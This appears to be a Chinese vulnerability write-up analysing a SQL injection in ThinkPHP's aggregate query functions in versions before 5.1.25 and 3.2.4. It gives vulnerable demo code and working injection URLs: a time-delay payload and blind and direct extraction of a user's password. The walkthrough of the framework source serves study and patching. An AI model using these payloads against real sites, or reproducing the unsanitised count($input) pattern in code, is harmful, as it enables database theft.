ThinkPHP 聚合查詢漏洞
說是漏洞,更恰當一點應該是安全隱患吧,由於是框架洞,總要結合一些開發人員不夠專業的程式碼才能產生漏洞。
這個聚合查詢的漏洞主要影響的版本有
- Thinkphp5 < 5.1.25
- Thinkphp3 < 3.2.4
影響的函式涉及到所有的聚合查詢函式
而且,有一點就是,可以看到在TP5中涉及到SQL查詢的地方,幾乎都用了預編譯
而且由於PDO::ATTR_EMULATE_PREPARES
設定的原因,導致模擬預處理關閉,從而在預編譯階段無法從資料庫中獲取資料,從而報錯退出。從之前爆出的幾個TP5漏洞中就能看到,這樣一個很大的弊端就是即使注入存在,也無法從資料庫中獲取到資料。
但是這個漏洞在預編譯階段沒有使用佔位符,從而不會在預編譯階段報錯,從而可以順利通過注入獲取到資料 。
PHP/">ThinkPHP5 < 5.1.25
漏洞復現
這裡建立了一個這樣的user
表
資料庫配置請自行配置,然後開啟debug
和trace
模式(方便檢視SQL語句
demo樣例
public function index() { $count = input('get.count'); $res = db('user')->count($count); var_dump($res); }
當訪問
http://localhost/tp5.1.25/public/?count=id
就能看到返回了數量3
當輸入
http://localhost/tp5.1.25/public/?count=id`),(select sleep(5)),(`username
就能看到有明顯的五秒的延時
裡面改成可以任意的SQL語句,例如通過盲注獲取password
http://localhost/tp5.1.25/public/?count=id`),(if(ascii(substr((select password from user where id=1),1,1))>130,0,sleep(3))),(`username
漏洞分析
跟進到count
函式中thinkphp/library/think/db/Query.php:643
跟進$count = $this->aggregate('COUNT', $field);
thinkphp/library/think/db/Query.php:619
這裡又呼叫了$this->connection->aggregate
注意此時的$field
欄位還是一開始傳入的字元,沒有任何變化
然後跟進到thinkphp/library/think/db/Connection.php:1316
中
可以看到這裡的經過第一句之後$field
被組合成了count語句,跟到parseKey
的函式定義中就能看到具體處理過程
public function parseKey(Query $query, $key, $strict = false) { ... $key = trim($key); if (strpos($key, '->') && false === strpos($key, '(')) { ... } elseif (strpos($key, '.') && !preg_match('/[,\'\"\(\)`\s]/', $key)) { ... } if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) { $key = '`' . $key . '`'; } ... return $key; }
省略了很多無關的處理函式,可以看到就是簡單的通過反引號的字串相連
$key = '`' . $key . '`';
繼續回來到aggregare
中,跟進$this->value
,這就是真正執行這條SQL語句的地方
thinkphp/library/think/db/Connection.php:1252
可以看到通過$this->builder->select($query);
將之前傳入的引數直接拼接到了sql語句中
最後形成$sql
為
在$query->getBind()
的時候是沒有需要繫結的引數的,也就避免了後面預編譯階段的報錯
最後$pdo = $this->query($sql, $bind, $options['master'], true);
執行了SQL語句,產生注入
全域性搜尋->aggregate
的呼叫,發現所有的聚合函式都是呼叫了這個模組,同理也就產生了SQL注入
ThinkPHP3 < 3.2.4
漏洞復現
資料庫配置和TP5中一致,也要開啟debug
和trace
資訊
demo樣例
public function index() { $count = I('get.count'); $m = M('user')->count($count); dump($m); }
這裡的payload和TP5中的有一點點的不一樣,不過也差不多
http://localhost/tp3.2.4/?count=id),(select password from user where id=1),(username
可以看到直接注入出了資料
漏洞分析
沒啥好分析的了,和TP5類似,就是少了一個反引號的差別